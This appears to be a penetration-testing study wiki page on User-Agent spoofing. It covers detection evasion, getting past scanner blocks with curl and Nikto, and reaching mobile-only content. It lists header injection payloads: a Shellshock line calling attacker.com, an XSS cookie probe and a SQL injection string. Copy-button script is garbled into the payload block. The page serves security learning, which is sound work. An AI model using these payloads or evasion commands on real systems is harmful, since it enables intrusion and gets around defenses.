☼
⌃
☰

User-Agent Spoofing

Table of Contents

User-Agent spoofing is the intentional alteration of a client application's User-Agent string. This string typically identifies the application (e.g., web browser), Operating System, and device type to a server during an HTTP request, allowing for Content Negotiation such as serving mobile-optimized sites to smartphones. User-Agent strings are considered a valuable artifact and a moderately difficult Indicator of Compromise for adversaries to change without altering their underlying tools — see Pyramid of Pain for why that difficulty matters more than the indicator itself.

Related: User-Agent Pyramid of Pain Indicators of Compromise Subdomain Enumeration Content Discovery Web Application Testing Methodology

Purpose in Cyber Security

In the context of cyber security, attackers employ user-agent spoofing primarily for two reasons:

  1. Evading Detection: Adversaries may change their user-agent string to impersonate legitimate traffic, such as a common web browser. This helps them blend in with normal network activity and bypass security defenses that might flag unusual or known malicious user-agent strings.
  2. Exploiting Vulnerabilities: Attackers might also spoof user-agents to exploit specific vulnerabilities in how a server processes or parses these strings.

Security analysts and threat hunters monitor User-Agent strings as part of threat hunting to identify Malware variants, automated scanners, and attack frameworks that use unique or unusual user-agent strings for Command and Control Server communications, or to detect anomalies that suggest a compromise. By spoofing, attackers aim to circumvent these monitoring efforts.

Pentest-Relevant Applications

User-Agent spoofing isn't only a defensive-evasion concept — it's a practical technique with direct application during testing:

Bypassing User-Agent-Based Access Controls

Some applications serve different content, or restrict access entirely, based on the User-Agent header — a common but weak control mechanism. If a WAF or application blocks known scanner User-Agents (e.g. sqlmap, Nikto, Nmap Scripting Engine), spoofing a common browser User-Agent can bypass that check entirely without changing anything else about the request.

SHELL
# Nikto with a spoofed User-Agent to avoid trivial signature blocking
nikto -h target.com -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Manual test with curl
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" http://target.com/admin

Testing for Mobile-Specific Content/Vulnerabilities

Since User-Agent drives content negotiation, spoofing a mobile device string can surface a completely different application surface — a mobile-optimized site or API path that wasn't reachable (or discoverable via content discovery) through the default desktop response.

SHELL
curl -A "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15" http://target.com

Blind Injection via User-Agent Header

The User-Agent header is frequently logged server-side without sanitisation — making it a viable, often-overlooked injection point distinct from the usual URL/body parameters.

HTTP \nUser-Agent: ' OR '1'='1\n`);copyBtnbtn_387ddb60863d45ffad108e5aca781430.innerHTML = res ? '✓' : 'error';setTimeout(() => { copyBtnbtn_387ddb60863d45ffad108e5aca781430.innerHTML = '⧉'}, 3000); });
User-Agent: () { :; }; /bin/bash -c "curl http://attacker.com/rce-confirmed"
User-Agent: <script>alert(document.cookie)</script>
User-Agent: ' OR '1'='1

Test this specifically if logs are ever viewed in an admin panel (stored XSS via logged User-Agent) or if the backend does anything beyond simple logging with the header value.

Tips

  • On the exam, don't overlook the User-Agent header as an injection point purely because it's not a visible form field or URL parameter — anything server-processed is worth testing, and this header specifically is often unsanitised because it's assumed to be informational only
  • If a WAF or rate-limiter appears to be blocking your automated tool specifically (works manually via browser, fails via Gobuster/Nikto/sqlmap), check whether it's filtering on the tool's default User-Agent before assuming a more sophisticated defense is in play
  • Mobile User-Agent spoofing is a fast, low-effort way to check for a parallel/hidden attack surface — worth trying even when there's no specific reason to suspect one exists, since it costs almost nothing to test